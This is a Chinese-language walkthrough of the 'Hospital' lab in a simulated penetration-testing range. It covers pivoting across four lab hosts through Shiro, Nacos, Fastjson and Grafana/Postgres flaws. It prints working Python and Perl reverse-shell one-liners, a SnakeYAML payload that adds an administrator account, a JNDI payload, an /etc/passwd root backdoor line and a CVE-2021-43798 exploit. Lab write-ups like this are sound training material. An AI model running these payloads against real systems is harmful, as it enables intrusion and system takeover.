banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

春秋云镜仿真靶场Hospital实操

[[仿真靶场 - Hospital]]#

概述#

在这个场景中,你将扮演一名渗透测试工程师,被派遣去测试某家医院的网络安全性。你的目标是成功获取所有服务器的权限,以评估公司的网络安全状况。该靶场共有 4 个 flag,分布于不同的靶机。

image

靶场架构

image

信息收集#

fscan 扫描得到如下内容:

image

8080 端口存在一个网站和 heapdump 文件,访问 /actuator 目录

http://39.99.225.90:8080/actuator

image

访问网站,弱口令登录后台

image

漏洞利用#

登录后台检测到 shiro

image

无法爆破到 key,之前的 heampdump 文件中有 key

image

algMode = CBC, key = GAYysgMQhG7/CzIJlVpR2g==, algName = AES

爆破链

image

执行命令

image

生成内存马,蚁剑连接

image

提权#

查找设置了 SUID 权限的文件,vim.basic 可以直接以 root 身份进行文件编辑

image

从蚁剑反弹 shell 到云服务器上

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'

需要升级交互式终端。

python3 -c "import pty;pty.spawn('/bin/bash')"

script /dev/null -c bash
ctrl+z
stty raw -echo; fg
reset
xterm-256color

通过 vim.basic 修改 /etc/passwd 进行提权

openssl passwd -1 -salt 123 123456

生成密码

在 /etc/passwd 文件中添加个账户

hacker:$1$123$7mft0jKnzzvAdU4t0unTG1:0:0:/root:/bin/bash

flag01#

添加之后,su 切换到新添加的帐号,这台服务器是 web01,获取 flag01 的值

su hacker

image

参考:https://cloud.tencent.com/developer/article/1711865

内网扫描#

上 fscan 进行扫描

172.30.12.236:8080 open
172.30.12.5:8080 open
172.30.12.6:445 open
172.30.12.6:139 open
172.30.12.6:135 open
172.30.12.236:22 open
172.30.12.5:22 open
172.30.12.236:8009 open
172.30.12.6:8848 open
[*] NetInfo 
[*]172.30.12.6
   [->]Server02
   [->]172.30.12.6
[*] NetBios 172.30.12.6     WORKGROUP\SERVER02            
[*] WebTitle http://172.30.12.5:8080   code:302 len:0      title:None 跳转url: http://172.30.12.5:8080/login;jsessionid=AA88B536A2B3199D4BB9686F35367F34
[*] WebTitle http://172.30.12.5:8080/login;jsessionid=AA88B536A2B3199D4BB9686F35367F34 code:200 len:2005   title:医疗管理后台
[*] WebTitle http://172.30.12.6:8848   code:404 len:431    title:HTTP Status 404 – Not Found
[*] WebTitle http://172.30.12.236:8080 code:200 len:3964   title:医院后台管理平台
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos 
[+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass 
[+] PocScan http://172.30.12.5:8080 poc-yaml-spring-actuator-heapdump-file 

发现如下两个资产

http://172.30.12.6:8848 poc-yaml-alibaba-nacos poc-yaml-alibaba-nacos-v1-auth-bypass 
http://172.30.12.236:8080 code:200 len:3964   title:医院后台管理平台

内网 172.30.12.6 存在一台 nacos 服务,存在默认密码 nacos/nacos
http://172.30.12.236:8080是存在 fastjson 服务


flag02#

利用venom代理内网,admin 监听端口,agent 发起连接:

./admin_macos_x64 -lport 9999
./agent_linux_x64 -rhost x.x.x.x(vps ip) -rport 9999

访问 nacos 应用

http://172.30.12.6:8848/nacos/

image

读配置文件

image

datasource:

mysql:

url: jdbc:mysql://localhost:3306/test?useSSL=false&serverTimezone=UTC&allowPublicKeyRetrieval=true

username: root

password: P@ssWord!!!

在 db-config 的回滚配置文件中,可以看到恶意配置的 jar 包,内容差不多如下,一开始以为是要回滚到下述配置,后面重置了好几次环境,测试后发现不用回滚,下述是手动配置文件

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://172.30.12.5:802/yaml-payload.jar"]
  ]]
]

利用工具进行利用

需要编译恶意 payload,参考项目:https://github.com/artsploit/yaml-payload

只需要修改 AwesomeScriptEngineFactory.java 的内容,由于目标是 windows 机器,所以可以添加个帐号,目标服务器也开了 3389 端口

public AwesomeScriptEngineFactory() {
	try {
		Runtime.getRuntime().exec("net user lca Lca@123 /add");
		Runtime.getRuntime().exec("net localgroup administrators lca /add");
	} catch (IOException e) {
		e.printStackTrace();
	}
}

然后用java1.8 的版本去编译,一定要用 java1.8 编译

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

上传至 web01 服务器(flag01 那台),web01 上开启 python 服务,让 web02(172.30.12.6)来下载恶意 jar 包,然后用工具 NacosExploitGUI_v3.9 发送请求,jar 路径就是 python 启动的 web 服务的路径

java -jar NacosExploitGUI_v3.9.jar

image

web01 接受到请求,说明 172.30.12.6 已下载了恶意 payload,接下来就是验证账户是否添加成功

image

在本地电脑上 proxifier 设置代理,连接 3389

image

image

连接成功,拿到 flag02,这台服务器是 web02

image

nacos 相关漏洞:

Nacos 内网集群 Raft 反序列化漏洞
Nacos JRaft Hessian 反序列化漏洞利用工具


flag03#

另外一台存在 fastjson 漏洞

image

不出网打,在 172.30.12.5(web01)上启动JNDI

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:1389/badNameClass",
        "autoCommit":true
    }
}

yakit 上需要开启下级代理

image

获取 flag03,这台是 web03 机器


flag04#

本地电脑要访问最后一台机器,需要二层内网代理,这台机器上有grafana+postgres两个服务,grafana 存在弱口令,可直接登录后台。

grafana 后台可执行 postgres 的命令,反弹一个低权限的 shell 到 web03 服务器上

CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;

select system('perl -e \'use Socket;$i="172.30.54.179";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

在 web3 上,下载https://github.com/A-D-Team/grafanaExp,利用上述 exp (**CVE-2021-43798**) 读取帐号密码,然后登录 postgres 账户

./grafanaExp exp -u http://172.30.54.12.:3000/

读取到帐号密码 postgres@123,通过 psql 登录

psql -h 172.30.54.12 -U postgres -W

postgres=# select version();

#查看管理员的密码是md5格式
postgres=# SHOW is_superuser;

使用 hashcat 进行破解,数据库 root 的密码为 P@ssw0rd123

hashcat -w 4 -m 0 -a 0 hashfile.txt /usr/share/wordlists/rockyou.txt -O

然后用 root 用户登录提权,psql 用绝对路径

sudo /usr/local/postgresql/bin/psql

输入\?跳转到命令行,找到 flag04

image

参考#

https://h0ny.github.io/posts/Hospital-%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83/#grafana-unauthorized-arbitrary-file-reading-cve-2021-43798

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。